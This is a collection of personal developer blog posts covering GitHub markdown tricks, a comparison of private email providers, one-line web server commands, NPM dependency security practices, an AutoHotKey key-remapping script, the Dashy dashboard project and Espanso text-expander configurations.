:atom: → :basecamp: → :basecampy: → :electron: →

Syntax Highlighting in Code Blocks

Code blocks become much easier to read with syntax highlighting. To use this, you must specify the language immediatley after the first ```.

You can view a full list of supported languages, here

Showing Code Additions (or Deletions)

Set the language type to diff, and then precede each line which indicates an addition with +, or a - if it's a deletion. Note that the sign must be the first character of the line (watch out for white space), and should be followed by at least one blank space/ tab.

Side-Aligned Images

In a similar way to centering images, you can also right align them, where the text will flow down the left-side. An example of this can be seen in the tuxi repo. (See example)

<img src="https://i.ibb.co/sCwYpZ8/general.gif" alt="Video Preview Gif" align="right" width="500px"/>

Moving Readme

If it bothers you having your README.md file cluttering up your projects root directory, then you can place it in .github/README.md (along with any other GH stuff or assets). It will still be rendered as normal in your repositories home, but now you've got one less file in your project's base directory. (see example)

Sub-Directory Readmes

You can also place a README.* / readme.* (see supported extensions below) into any directory of your GitHub repo, and it will be rendered when the user views that folder.

Creating Home Page .md

You can display a short markdown document at the top of your GitHub profile. To do so, just create a public repository with the same name as your GitHub username, and populate it with a non-empty README.md. For more info, see the Profile Readme Docs, or (see example)

Using other Formats

Markdown isn't the only supported format for rendering readmes and docs on GitHub.

Org Mode .org - Useful for notes, lists, timelines and planning documents
reStructuredText .rst - Primarily used in Python projects, can work with tools like Sphinx for complex docs sites
AsciiDoc .adoc - Contains semantics and options for modular / reusable content
MarkDown .md - The classic
Plain text .txt - Just monospace plaintext

Merging Cells in Tables

It is possible to merge cells in tables (so that a given cell spans multiple rows or columns), but only if you define your table in HTML (see example).

This is done by adding the colspan or rowspan attribute, with the number of cells horizontally or vertically that it should span.

For example:

 <td colspan="2">I take up two columns!</td>

You can also set the text align property here too, using align="center" to centre text.

Single-Cell Tables

This is a great way to draw attention to an important message

| Hello World! |
|-|

Create Buttons

In GitHub-flavoured markdown, the <kbd> tags also make great buttons. for your readme header.

For example:

**[<kbd> <br> Install <br> </kbd>][Install]** 
**[<kbd> <br> Quick Start <br> </kbd>][Quick Start]** 
**[<kbd> <br> Configure <br> </kbd>][Configure]** 
**[<kbd> <br> Contribute <br> </kbd>][Contribute]**

Task Lists

You can create tasks lists too, useful for adding into Pull Request templates or showing task progress in readme.

A list of things:
- [X] Googley Eyes
- [X] Tesco Clubcard
- [ ] The Elizibeth Line
- [ ] Beans on Toast
- [ ] My Current Account

References

Some text[^myreference] Clicking the here will scroll down to references.

[^myreference]: Here's a reference (include links or something)

Including the code quote symbol (`) in a code block

Sometimes you may need to use the ` symbol within a code block.

Just wrap the code with double quotes ``, and ensure there is a space around the quote symbol

https://www.cl.cam.ac.uk/~mgk25/ucs/quotes.html

Further Links

GitHub Docs: Working with advanced formatting

Comparison of Private / Secure Emai Providers 📬

Alicia's Notes 🚀 — Sun, 22 May 2022 14:18:48 +0000

The following table is a quick, undetailed comparison of security-focused email providers.

Update: Since the markdown table isn't very clear, here's is a web version:
lissy93.github.io/email-comparison

Name	Jurisdiction	Encryption	Open Source	Onion Site	Pricing	Domain Support	Additional Aliases or Catch-All	POP, IMAP, STMP	External Security Audit	Accepts Crypto	Personal Info Requiements
ProtonMail	🟢 Switzerland	🟢 PGP	🟢 Yes	🟢 Yes	🟢 Free Plan - 500MB, 1 address, no custom domain. Paid plans start from €5 and allow for additional features, custom domain, and increased message volume	🟠 Yes (Pluss Plan, €5.00/m)	🟠 Yes (Professional Plan, €8.00)	🟠 Yes, but through Bridge	🟢 Yes (2021, by Securitum)	🟢 Yes (BTC only)	🟢 Recovery Email Only
Tutanota	🟢 Germany (14 Eyes)	🟠 Hybrid AES + RSA	🟠 Client Apps Only	🔴 No	🟢 Free Plan - 1GB, 1 address, no custom domain. Paid plans start from €1 / month, and allow for a custom domain, 5 alias addresses and improved search and filters	🟠 Yes (Premium Plan, €1.00/m)	🟠 €1 / month per 20 aliases. No catch-all	🔴 No	🟠 Apparently, but not published	🟠 No (But ProxyStore gift cards accepted	🟢 None
CriptText	⚪ (Decentralized)	🟠 Signal Protocol	🟢 Yes	⚪ N/A (no webmail)	🟢 Free	🟢 Yes	🔴 No	🔴 No	🔴 No	⚪ N/A (no payment required)	🟢 None
Mailfence	🟢 Belgium (14 Eyes)	🟢 PGP	🔴 No	🔴 No	🟢 Free Plan - 500MB, 1 address, no custom domain. Paid plans start from €2.50 and allow for custom domain, 10 aliases, mail client access and increased message volume	🟠 Yes (Entry Plan, €2.50/m)	🟠 Yes (Entry Plan, €2.50)	🟢 Yes (IMAP, POP3, SMTP)	🔴 No	🔴 No (Card, PayPal)	🟢 Recovery Email Only
Mailbox.org	🟢 Germany (14 Eyes)	🟢 PGP	🔴 No	🔴 No	🟠 No free plan. Starts at €1 / month. Increases to €9 for all features, and increased storage	🟠 Yes (Standard Plan, €3.00/m)	🟠 25 aliases (Standard Plan). No catch-all	🟢 Yes (IMAP, POP3)	🔴 No	🔴 No	🔴 Requires full name, location, mobile number and a recovery email
Soverin	🟠 Netherlands (9 Eyes)	🟢 PGP	🔴 No	🔴 No	🟠 No free plan, but flat fee of €3.25 / month for everything	🟠 Yes (Paid Plan, €3.25)	🟠 Yes (Paid Plan, €3.25)	🟢 Yes (IMAP)	🔴 No	🔴 No	🔴 Requires phone number
Posteo	🟢 Germany (14 Eyes)	🟢 PGP	🟢 Yes	🔴 No	🟠 No free plan. Pricing is €1 / month	🔴 No	🟠 Yes (€0.10/m per alias). No catch-all	🟢 Yes (IMAP, POP3)	🔴 No	🔴 No (Card, PayPal, Bank Transfer, Cash)	🟢 Payment Info Only
Runbox	🟢 Norway (14 Eyes)	🟢 PGP	🟠 Client Apps Only	🔴 No	🟠 No free plan. Starts at €14.95 / year for a single domain, going up to €69.95 / year for more storage and domains	🟠 Yes (Micro Plan, €1.25/m)	🟠 €3.95 / year per 5 aliases. No catch-all	🟢 Yes (IMAP, POP, SMTP)	🔴 No	🟢 Yes (BTC only)	🟠 Full name, recovery email
Kolab Now	🟢 Switzerland	🟢 PGP	🟢 Yes	🔴 No	🟠 No free plan. Starts at CHF 5.00 / mo, basic features only. Groupware account is CHF 9.90	🟠 Yes (Group Plan, CHF 9.90/m)	🟠 Yes (Group Plan Only (CHF 9.90/ m)	🟢 Yes (IMAP, POP, SMTP)	🔴 No	🔴 No (Card, PayPal, Bank Transfer)	🟠 Full name, recovery email
CounterMail	🟢 Sweden (14 Eyes)	🟢 PGP	🔴 No	🔴 No	🟠 No free plan. Pricing is $4.83 / month	🟠 Yes (Pain Plan + $15 setup fee)	🟠 Yes, max 10 text aliases. No catch-all	🟢 Yes (IMAP)	🔴 No	🟢 Yes (BTC only)	🟢 None
StartMail	🟠 Netherlands (9 Eyes)	🟢 PGP	🔴 No	🔴 No	🟠 No free plan. Starts at $5 / month, but without custom domain support	🟠 Yes (Custom Domain Plan, $5.85)	🟠 Unlimited aliases. No catch-all	🟢 Yes (IMAP, SMTP)	🟠 Apparently, but not published	🟠 Yes (BTC only, but only personal accounts)	🟠 Full name, recovery email
Disroot	🟠 Netherlands (9 Eyes)	🟠 PGP (Off-by-default)	🔴 No	🔴 No	🟢 Free, with payment required for each additional feature	🟠 Yes (Donation required)	🔴 No	🟢 Yes (IMAP, POP, SMTP)	🔴 No	🟢 Yes (BTC only)	🟢 None
Hushmail	🔴 Canada (5 Eyes)	🟢 PGP	🔴 No	🔴 No	🟠 No free plan. Starts at $5.99 / month, rising to $7.99 for email archiving support	🟠 Yes (Small Business Plan, $5.99/m)	🟠 Yes (Small Business Plan, $5.99/m)	🟢 Yes (POP, SMTP)	🔴 No	🔴 No	🟠 Full name, recovery email
LavaBit	🔴 United States (5 Eyes)	🟠 DIME	🔴 No	🔴 No	🟠 Free plan, but invite only. Pricing ranges from $30 - $60 / year, depending on storage requirements	🔴 No	🔴 No	🔴 No	🔴 No	🔴 No	🟠 Full name, recovery email

To make changes to the above list, submit a pull request to github.com/Lissy93/email-comparison

One-Line Web Server 🖥️

Alicia's Notes 🚀 — Thu, 10 Feb 2022 13:54:56 +0000

The following commands will each start a simple web server, serving up the files in the current directory.
Just open up the browser, and navigate to the system's IP + port (e.g. http://localhost:8080).

Python

python -m http.server 8000

Node.js

npx http-server ./ --port 8080

PHP

php -S 127.0.0.1:8080

Ruby

ruby -run -e httpd ./ -p 8080

R

Rscript -e 'servr::httd()' -p8080

Caddy

Caddy is a feature-rich production-ready Go-based web server, with easy configuration. Just download and use something like the following command.

caddy file-server

Rust (with miniserve)

cargo install miniserve
miniserve -p 8080 .

BusyBox

busybox httpd -f -p 8080

You can also share the server with someone remotely,
see: Using Ngrok to expose server to the internet

NPM Dependency Security Best Practices 📦

Alicia's Notes 🚀 — Mon, 20 Sep 2021 12:06:46 +0000

The Definitive Guide to NPM Package Security

Check for Outdated Dependencies

It's important to keep dependencies up-to-datem since these packages usually undergo continuous improvements, bugs fixes and security patches.

Yarn has this functionality built in, with yarn outdated, which shows version info for all a projects installed dependencies.

A better tool for the job is npm-check (MIT) by @dylang, which will check for outdated, incorrect, and unused dependencies. This is used by just running npx npm-check from your projects root, you can also interactively update outdated packages with the --update flag, check the docs for all options.

There's also David-DM, a website that shows list of outdated dependencies for a given public git repo, with embeddable badges.

Remove Unused Packages

Large projects have a tendency to accumulate unused dependencies, causing there to be more to maintain, larger package size, and increased attack surface.

An easy way to check for unused dependencies, is with depcheck, a CLI tool for determining which of your installed packages are (likely) not being used anywhere in your code base. To use, just run npx depcheck. This tool is included within the npm-check mentioned above. It's worth noting, that this is not 100% accurate, so be careful when removing dependencies.
You can also remove any dependencies that have an overlapping range, with yarn dedupe

Audit Package Security

If a project has a large number of dependencies, then it will be more exposed to security risks. Many packages open new ports, thus increasing the attack surface, and some include vulnerabilities, a few of which are extremely severe; and open source projects regularly grow stale, neglecting to fix security flaws.

yarn audit or Snyk Test can be used to find, fix and monitor known vulnerabilities in open-source dependencies.

Sometimes these can be fixed automatically, with yarn audit fix, which will update certain semver-compatible packages to the patched version, if available.

Another option is to use a bot to scan for vulnerable packages, and submit a PR when a fix becomes available. The branch can then be pulled, tested and either merged or rejected. A popular choice for this is Dependabot. This functionality, plus more is also included with Snyk, a hosted solution for E2E application security monitoring.

If your project contains a dependency that has been identified as vulnerable, it is important to address it as quickly as possible. Either:

Update the package to a patched version, if available
Remove or replace the vulnerable package
Mark the issue as low risk, if you've looked into it and identified that there is no issue in your use case, such as in a dev dependency that is not used in production

It's worth noting that not all issues raised by the audit will actually have any impact on your application. Each issue still needs to be looked into to determine weather it is relevant to your use case though.

Only use Well Maintained Packages

Packages that are used by tens of thousands of projects are usually more closely monitored by other developers and security researchers, as opposed to smaller projects with very few regular users. This is important, as security (and other issues) will likely be spotted sooner, and addressed quicker in better maintained projects.

One way to assess package usage is its download rate, indicated in "Stats" section of the npm’s package page, or using npm-stat.com for historic download data. You should also check the projects GitHub page, see what to look for below.

Analysing Package Sizes

Bundlephobia is a super useful tool for checking any packages size and bundle impact prior to installing. There's also cost-of-modules, a CLI tool for locally analysing the size of the significant packages within your project. Just run npx cost-of-modules within your projects root.

Respecting Package Licenses

Open-Source components are published either under a permissive or a copyleft license. Before adding any package, it's important to check the license. Some common open source software licenses, such as GPL will prevent you from using their packages unless you also open source your code, and many packages (such as MIT) require you to correctly give attribution to the original author. To quickly understand what any given license allows you to do, TDLR; Legal is a useful resource.

There are also tools to help you automate the process of license checking within your project. The most notable hosted solution is FOSSA, which will automatically scan your project for dependency licenses and notify you of any issues and breach of licenses. There's also license-checker, a CLI tool which runs locally, and will output a list of licenses used by dependencies. This can be used by running npx license-checker from the root of your project

Ignore Run Scripts

NPM script hooks allow code to run at various points of the package life cycle. This is often used for general housekeeping tasks, but it can also be abused by bad actors to execute malicious code (such as the eslint-scope incident and the crossenv incident). Such attacks can usually be avoided by properly vetting new packages as well as upgrades. Adding the ignore-scripts option to your .npmrc file will prevent packages from running arbitrary commands.

Package Health Checks

The npm doctor command is useful for ensuring that everything is in order, and should be integrated into your automated checks. It will do the following:

Check the official npm registry is reachable, and display the currently configured registry.
Check that Git is available.
Review installed npm and Node.js versions.
Run permission checks on the various folders such as the local and global node_modules, and on the folder used for package cache.
Check the local npm module cache for checksum correctness.

Considerations when adding new Packages

A lot of the above issues can be mitigated, just by being thoughtful about what your installing into your project. Think about weather you really need another new dependency, ensure there's nothing similar already included in your app, and then thouroughly check the project out, being sure to validate the following criteria:

When was it last updated?
How often are releases published?
How many developers have contributed to it? (More is better, as there is a lower risk of the project being abandoned, and a higher chance that issues are spotted).
How many open issues are there?
Does it have a security policy?
Any open or recent security advisories?
Is it correctly using semantic versioning?
Is it thoroughly tested?
Does it use many additional dependencies? If so, are they to be deemed trustworthy?
How many other projects rely on it?
Is it frequently downloaded? (Check the "Stats" section of the NPM page, or use npm-stat.com)
Is the code clear and readable? If it is, then issues will be much easier to spot
Is the license compatible with your project, and have you acknowledged the terms (e.g. attribution)
How large is the package? And how will this affect your project's bundle size

For quick info about any package, you can also run npm view [package-name]

Strict Installs

When setting up your project in the CI environment, it is reccomended to use the CI install command. This is more strict than a regular install, which can help catch errors or inconsistencies caused by the incrementally-installed local environments of most npm users. It's also significantly faster, since it skips certain user-oriented features. Just replace npm i, with npm ci, or for yarn use: yarn install --frozen-lockfile.

Lockfiles

In order to ensure reproducible builds, yarn needs to know exactley which version of each package should be installed. This is specified in the yarn.lock file (or npm-lock.json for NPM), and is auto-generated on install. This file should be commited to git, as it will prevent updates in a packages minor version causing any unexpected errors in on other machines.

Registry

Using your own registry, such as Verdaccio which can be privatley self-hosted, gives you far greater control over your NPM downloads. It allows for easy usage of private packages, and also gives you the ability to proxy other registries, and cache the downloaded of modules along the way, for improved speed and control, you can link multiple registries and override public packages. Alternative options include using NPM's enterprise offering, or installing dependencies directly from private git repos.

Dependency Inversion Principle

When writing your own modules, follow the SOLID principles, specifically in terms of the coupling between the different classes or modules. Writing small, maintainable, tested, single-purpose packages, which will then be easier to manage in terms of security and quality.

Secure your NPM Account

If you're publishing any of your modules to the NPM registry, then secure access is very important. Ensure that you've enabled 2FA, and keep your account credentials and tokens safe. If your not making any updates, then login using read-only mode. Make use of NPM author tokens for publishing and updating packages.

Watch out for Typosquatting Attacks

Typosquatting is an attack that involves packages with slight naming changes, that are often installed by mistake due to a typo. Since packages can have access to environmental variables, which often include credentials, tokens and API keys, a malicious actor can harvest this sensitive info.

To protect yourself:

Take care when copying and pasting commands into the terminal and always verify the source of the repo that you are installing via npm info.
Default to having an npm logged-out user in your daily work routines so your credentials won’t be the weak spot that would lead to easily compromising your account.
Consider appending the --ignore-script flag when installing packages, to prevent them from executing arbitrary code.

Tips and Tricks

Use any NPM CLI package, without having to first install it, using npx
While developing multiple packages simultaneously, yarn link is useful for creating symbolic links between them
Due to how NPM dependencies are structured, if you've been working on a lot of projects, you can find your disk space frequently running low. NPKill is a handy CLI util, to find all node_modules directories for easy deletion of the ones you no longer need. Just run npx npkill to get started. You can also do this nativley
To open the GitHub page for any package, just run npm docs [package-name]
If your facing any issues with NPM, then running npm doctor with troubleshoot common issues, and output the likely fix
List all installed packages in a tree structure with npm ls
Many of the NPM short commands can be grouped together, for example npm cit is the same as fresh install and run tests
When working with mono-repos or multiple packages, you can use the --prefix [./path/to/dir] flag to run NPM commands in other directories, without having to cd
To view all valid release versions of a given package, run npm view [package-name] versions, or yarn info [package-name] versions
View a tree of dependencies for any package, with npmgraph.js.org
Use different NPM versions for different projects easily with Volta
More info can be found for any CVE via cvedetails.com or using GitHub Advisories.

AHK: Use Arrow Keys as Modfifiers

Alicia's Notes 🚀 — Thu, 06 May 2021 10:27:33 +0000

Intro

The following AutoHotKey script enables you to use Ctrl + Alt followed by an arrow key to target PgUp, PgDwn, Home and End.

These function keys are seriously underated, they allow you to navigate code, documents, webpages etc much faster than using the arrow keys alone. It means you don't have to reach so far across the keyboard, and useful for smaller keyboards that don't have these dedicated keys

This is inspired by using Alt + Left / Right arrow, which (in most systems) moves the cursor forward/ backward by one word at a time (rather than a single character)

Usage

Moving the cursor/ navigating:

Ctrl + Alt + Up --> Page Up
Ctrl + Alt + Down --> Page Down
Ctrl + Alt + Left --> Home
Ctrl + Alt + Right --> End

You can also use this combination along with the Shift key, in order to select text between the cursors start and end point:

Ctrl + Alt + Shift + Up --> Will select entire document above cursor
Ctrl + Alt + Shift + Down --> Will select entire document below cursor
Ctrl + Alt + Shift + Left --> Will select entire line to the left
Ctrl + Alt + Shift + Right --> Will select all text from the cursor, to the end of the line

The Script

!^*Up::
GetKeyState, state, Shift
if state = D
    Send +{PgUp}
else
    Send {PgUp}
    return

!^*Down::
GetKeyState, state, Shift
if state = D
    Send +{PgDn}
else
    Send {PgDn}
    return

!^*Left::
GetKeyState, state, Shift
if state = D
    Send +{Home}
else
    Send {Home}
    return

!^*Right::
GetKeyState, state, Shift
if state = D
    Send +{End}
else
    Send {End}
    return

Installation

First ensure that you have the latest version of AutoHotKey installed on your system. Copy the above script, and save it in a file with a .ahk extension. Finally, double click on the file, and it should now be running. You will now see the AHK icon in your task bar, and should be able to use the above key bindings.

Note that AutoHotKey is only available for Windows-based systems, but similar functionality can usually be achieved natively on Linux, through your WM, or using a utility such as AutoKey for X11.

Dashy - A Self-Hosted Home Lab Dashboard 🚀

Alicia's Notes 🚀 — Wed, 05 May 2021 10:39:23 +0000

Here's a quick project that I built in order to keep track of locally running services on my home lab. It serves as a landing page, to make it easier to navigate to various apps, without having to remember and type IP addresses or URLs.

Features
Source Code
Live Demo
Screenshots
Usage Guide
Similar Apps / Alternatives
Credits
License

Features

Instant search by name, domain and tags - just start typing
Full keyboard shortcuts for navigation, searching and launching
Multiple color themes, with easy method for adding more
Customizable layout options, and item sizes
Quickly preview a website, by holding down the Alt key while clicking, to open it in a resizable pop-up modal
Many options for icons, including full Font-Awesome support and the ability to auto-fetch icon from URLs favicon
Additional info for each item visible on hover (including opening method icon and description as a tooltip)
Option for full-screen background image, custom nav-bar links, and custom footer text
User settings stored in local storage and applied on load
Encrypted cloud backup and restore feature available
Easy single-file YAML-based configuration
Small bundle size, fully responsive UI and PWA makes the app easy to use on any device
Plus lots more...

Source Code

Source, on GitHub: github.com/Lissy93/dashy

Live Demo

Demo 1 ┆ Demo 2 ┆ Demo 3

Screenshots

Usage Guide

For full setup instructions, see this post, or follow the GitHub readme.

Setup

Get the code: git clone git@github.com:Lissy93/dashy.git and cd dashy
Then install the dependencies: yarn

Configuring

All settings are specified in ./public/conf.yml. You can see a full list of options in the docs, or modify one of these example configs

Deploying

First build the project, with yarn build, you can then run yarn start to run it. Alternatively use Docker, with docker run -it -p 8080:80 --rm --name my-dashboard lissy93/dashy

Developing

Running yarn dev will build, test, lint then start the development server and watch for changes

Similar Apps / Alternatives

There are a few self-hosted web apps, that serve a similar purpose to Dashy. Including, but not limited to: Dashboard, Dash Machine, Heimdall, HomeDash2, Homepage, Homer, Organizr and Simple-Dash

Credits

The app makes use of the following components, kudos to their respective authors

vue-select - Dropdown component by @sagalbot
vue-js-modal - Modal component by @euvl
v-tooltip - Tooltip component by @Akryum
vue-material-tabs - Tab view component by @jairoblatt
VJsoneditor - Interactive JSON editor component by @yansenlei
- Forked from JsonEditor by @josdejong

And the app itself is built with Vue.js

License

Licensed under MIT X11, © Alicia Sykes 2021: https://aliciasykes.com

Using Espanso to boost Efficiency 🚤

Alicia's Notes 🚀 — Sat, 01 May 2021 19:37:17 +0000

Intro

Espanso is an open source, privacy-first, cross-platform text expander developed by @federico-terzi and written in Rust. In short, it detects when you type a certain keyword, and replaces it on the fly with a pre-defined string or dynamic output.

Espanso not only supports simple text replacement/ expansion, but also images, custom scripts and shell commands, app-specific configurations and more. There is also a basic form feature, enabling arguments to be passed to a block. It's under active development, so hopefully there will be even more functionality implemented in the future.

It uses a file-based configuration, written entirely in YAML (but I think there is a GUI in development), and for the most part is quick and easy to it it configured exactly to your liking. But you can also use pre-built packages, installed via Espanso Hub (or any external source).

There are many possibilities where Espanso can be really useful, but the main areas that I am using it for are:

Quickly typing characters that do not appear on my keyboard (such as math symbols, foreign language characters and emojis)
Easily inserting longer strings that would otherwise have required many keystrokes
Inserting dynamic content, such as the output of a script, response from an API call, or time/ date info
Making typing easier, with a custom spelling and grammar auto-correct system

Espanso Links: Docs, Reddit, Package Hub, Source Code, Quick Start, Author's Site

I'm still working on my config, but for reference here it is: github.com/Lissy93/espanso-config

Use Cases

Easy Emoji Inputs

The first thing I used Espanso for was being able to type emojis, without having to use wait for a popup to load or use the internet.

There is a plugin that does exactly this perfectly, called espanso-all-emojis, by @FoxxMD, using gemoji. It can be installed with:
espanso install all-emojis

Then just type the name of the emoji, surrounded by colons. For example:
:smile: --> 😄, :rocket: --> 🚀, :milky way: --> 🌌

For reference, here is the full list emojis, along with their shorthand code

The next thing I wanted to do, was be able to easily insert old-school ASCII emoticons or Lenny faces. This could be done with a similar method, but I didn't want to have to remember all the key combinations. A perfect opportunity to give Espanso's form feature a go!

With the above code, typing :lenny will open up a form with a dropdown, using the arrow keys I can now select an option, hit enter and it will be inserted

# Easily inputs ASCII emoticons from a dropdown
- trigger: :lenny
  form: "{{smileys}}"
  form_fields:
    smileys:
      type: choice
      values:
      - '¯\\_(ツ)_/¯'
      - '(╯°□°）╯︵ ┻━┻'
      - '( ͡ಠ ʖ̯ ͡ಠ)'
      - '☉ ‿ ⚆'
      - 'ʕ•ᴥ•ʔ'
      - '⋆｡˚ ☁︎ ˚｡⋆｡˚☽˚｡⋆'
      - '(づᵔ◡ᵔ)づ'
      - '|ᵔ‿ᵔ|'
      - '⤜(*﹏*)⤏'
      - 'ツ'

Inserting Dynamic Content

Espanso has a series of built in extensions, that are able to insert dynamic data, either from a command, script, web address or API

An example of how this can be useful, is for fetching your current public IP address, using ipify.org:

# Outputs public IP address
- trigger: ":ip"
  replace: "{{output}}"
  vars:
    - name: output
      type: shell
      params:
        cmd: "curl 'https://api.ipify.org'"

Or the current weather in your location, using wttr.in:

# Outputs the current weather for your location
- trigger: ":weather"
  replace: "{{output}}"
  vars:
    - name: output
      type: shell
      params:
        cmd: "curl 'http://wttr.in/?format=3'"

Easily insert the MIT license:

# Outputs full MIT license text, from GitHub
- trigger: :mit-long
  replace: "{{output}}"
  vars:
  - name: output
    type: shell
    params:
      cmd: "curl 'https://gist.githubusercontent.com/Lissy93/143d2ee01ccc5c052a17/raw/a8ac96cd15847a231931b561d95d2de47066fd33/LICENSE.MD'"

Generating Deterministic Passwords on the Fly

LessPass is a stateless password manager, given a set of arguments (usually site, username and master pass) the output will always be the same, omitting the need to store passwords anywhere. I use it for less important accounts, and this sounded like another great use case for Espanso.

- trigger: :pass
  replace: "{{lesspass}}"
  vars:
  - name: "params"
    type: form
    params:
      layout: |
        Less Pass Generator
        Website: {{site}}
        Login: {{login}}
        Master Password: {{pass}}
  - name: lesspass
    type: shell
    params:
      cmd: "lesspass $ESPANSO_PARAMS_SITE $ESPANSO_PARAMS_LOGIN $ESPANSO_PARAMS_PASS"

With the above block, you can type :pass, and a form will popup, prompting you for the three arguments, and on submit a password will be returned and auto-filled. This does of course require the LessPass CLI tool to be installed.

Quickly Closing Brackets

This is a small one, saving only a single key press, but over time it all adds up. In Espanso, you can specify where the cursor should be placed using $|$

So typing a colon : followed by any type of bracket, tag or formatting symbol, will result in the corresponding closing bracket will be filled, and the cursor will be moved conveniently middle of the parenthesis.
This works for (), [], {}, <>, ` `, '', "", __, -- and **

# Auto close brackets, quotes and modifiers, putting cursor in the center
- trigger: ':('
  replace: '($|$)'
- trigger: ':['
  replace: '[$|$]'
- trigger: ':{'
  replace: '{$|$}'
- trigger: ':<'
  replace: '<$|$>'
- trigger: ':`'
  replace: '`$|$`'
- trigger: ":\'"
  replace: "\'$|$\'"
- trigger: ':"'
  replace: '"$|$"'
- trigger: ':_'
  replace: '_$|$_'
- trigger: ':*'
  replace: '*$|$*'
- trigger: ':-'
  replace: '-$|$-'

Date / Time Info

Another handy feature, is the built-in date extension. For the format of the date, see the chrono::format::strftime Docs.

# Outputs todays date (dd/mm/yy)
- trigger: :date
  replace: "{{date}}"
  vars:
  - name: date
    type: date
    params:
      format: "%d/%m/%y"

# Outputs the current time (24hr)
- trigger: :time
  replace: "{{time}}"
  vars:
  - name: time
    type: date
    params:
      format: "%H:%M"

# Outputs the month and year (e.g. January 2020)
- trigger: :month
  replace: "{{date}}"
  vars:
  - name: date
    type: date
    params:
      format: "%B %Y"

Inserting Links

This is handy if you find yourself often sharing links in forums, or pasting them in documents. It makes use of Espanso's handy built-in Clipboard Extension, to get the URL that has been copied.

This works for Markdown with :md-link, HTML with :html-link and BB Code with :bb-link.

# Outputs markdown link, with clipboard contents as the URL
- trigger: ":md-link"
  replace: "[$|$]({{clipboard}})"
  vars:
  - name: "clipboard"
    type: "clipboard"

# Creates a HTML anchor element, with clipboard contents as href
- trigger: ":html-link"
  replace: "<a href=\"{{clipboard}}\" />$|$</a>"
  vars:
  - name: "clipboard"
    type: "clipboard"

# Outputs BB Code link, with clipboard contents as the URL
- trigger: ":bb-link"
  replace: "[url={{clipboard}}]$|$[/url]"
  vars:
  - name: "clipboard"
    type: "clipboard"

For example, say you's copied have http://example.com and ran :html-link is would return <a href="http://example.com" /></a>, with the cursor in the middle, ready for the title.

Auto-Correct Typos

This is certainly the task that I use Espanso for most! And I have previously written a post outlining this.

If you're interested in doing this, I prepared a list of 4,200 of the most commonly misspelled words from Wikipedia, presented in AHK format, and wrote a quick script to convert it to Espanso YAML.

I personally just use the 250 words that I most often mistype / spell. The format looks like this (below), and my full script is here

matches:
- trigger: acsent
  replace: accent
  propagate_case: true
  word: true
- trigger: advesary
  replace: adversary
  propagate_case: true
  word: true

The word will not update until a terminator character (such as space or enter) is pressed (defined by word: true). The case will be propogated, (because propagate_case: true is set), so the output will match the case of the original word (either lower-case, upper-case or capitalized)

Inserting Common HTML and Markdown Elements

A simple one, if you find yourself often typing the symbols required for DOM elements, then this can save a bit of time.

Common tags, like :hr, :br, :div, :span, :para, :h1, :h2 etc are autofilled, with the cursor placed inside the tag ready for the value. For custom web components and XML tags, use :tag, and a form will open, where you can type the name of the element

Right now, for markdown, all I have is :md-code to insert a code block, and :md-collapse will in the very annoying <details><summary>, and again place the cursor inside.

# Inserts common HTML elements
- trigger: :hr
  replace: '<hr />'
- trigger: :br
  replace: '<br />'
- trigger: :div
  replace: '<div>$|$</div>'
- trigger: :span
  replace: '<span>$|$</span>'
- trigger: :h1
  replace: '<h1>$|$</h1>'
- trigger: :h2
  replace: '<h2>$|$</h2>'
- trigger: :h3
  replace: '<h3>$|$</h3>'
- trigger: :para
  replace: '<p>$|$</p>'

# Inserts any custom HTML, XML or web component tag 
- trigger: ":tag"
  replace: "<{{html.element}}>$|$</{{html.element}}>"
  vars:
  - name: "html"
    type: form
    params:
      layout: "XML / HTML Element Inserter\nTag Name: {{element}}"
      fields: { element: { type: text }}

# Inserts a markdown code block
- trigger: :md-code
  replace: "```\n$|$\n```"

# Inserts markdown collapsable section
- trigger: :md-collapse
  replace: "\n<details>\n\t<summary>$|$</summary>\n\t<p></p>\n</details>"

Inserting Personal Info

There are several things that I find I need to type quite often, for various reasons. For example, email addresses, phone numbers, social media links, address and other important details. For some of this, I just use shortcuts (e.g. :addr outputs my address), whereas for other tasks I use dropdowns.

For example, to insert a social media profile link, without having to remember different shortcuts for different services, I just type :social. I do the same thing with email addresses and project websites

# Inserts the URL to a selected website or social media platform
- trigger: ":social"
  replace: "{{social.links}}"
  vars:
  - name: "social"
    type: form
    params:
      layout: "Social Media Profiles \n{{links}}"
      fields:
        links:
          type: choice
          values:
          - 'https://aliciasykes.com'
          - 'https://listed.to/@lissy93'
          - 'https://github.com/lissy93'
          - 'https://stackoverflow.com/users/979052/alicia'
          - 'https://keybase.io/aliciasykes'
          - 'https://www.linkedin.com/in/aliciasykes'
          - 'https://www.reddit.com/user/lissy93'
          - 'https://twitter.com/Lissy_Sykes'
          - 'https://www.instagram.com/liss.sykes'
          - 'https://www.facebook.com/liss.sykes'
          - 'https://www.youtube.com/c/AliciaSykes'
          - 'https://direct.me/liss'

Formulating Search Queries

There are browser extensions and web services that do this already (like DuckDuckGo bangs), but it's often useful to search a specific website, without having to first navigate to it. This function will formulate the URL, with the correct parameters ready for searching. You can also use Ctrl + L to focus the address bar.

For example, :srch-wiki will output https://en.wikipedia.org/w/?search=. You can also search with the contents of your clipboard (swc), where the query will be automatically filled.

# Quick search, formulates the URL params for searching a given website
- triggers: [:srch-ddg, :search-duckduckgo]
  replace: 'https://duckduckgo.com/?q='
- triggers: [:srch-wiki, :search-wikipedia]
  replace: 'https://en.wikipedia.org/w/?search='
- triggers: [:srch-gh, :search-github]
  replace: 'https://github.com/search?q='
- triggers: [:srch-so, :search-stackoverflow]
  replace: 'https://stackoverflow.com/search?q='
- triggers: [:srch-dh, :search-dockerhub]
  replace: 'https://hub.docker.com/search?q='
- triggers: [:srch-wa, :search-wolframalpha]
  replace: 'https://www.wolframalpha.com/input/?i='
- triggers: [:srch-red, :search-reddit]
  replace: 'https://www.reddit.com/search/?q='
- triggers: [:srch-bbc, :search-bbc]
  replace: 'https://www.bbc.co.uk/search?q='
- triggers: [:srch-vt, :search-virustotal]
  replace: 'https://www.virustotal.com/gui/search/'
- triggers: [:srch-amz, :search-amazon]
  replace: 'https://amazon.co.uk/s?k='
- triggers: [:srch-yt, :search-youtube]
  replace: 'https://youtube.com/results?q='
- triggers: [:srch-maps, :search-maps]
  replace: 'https://www.google.com/maps/search/'
- triggers: [:srch-goo, :search-google]
  replace: 'https://google.com/search?q='

# Similar to above, but it uses the clipboard for the search query
- trigger: ":swc-ddg"
  replace: "https://duckduckgo.com/?q={{clipboard}}"
  vars: [{ name: "clipboard", type: "clipboard"}]
- trigger: ":swc-wiki"
  replace: "https://en.wikipedia.org/w/?search='{{clipboard}}"
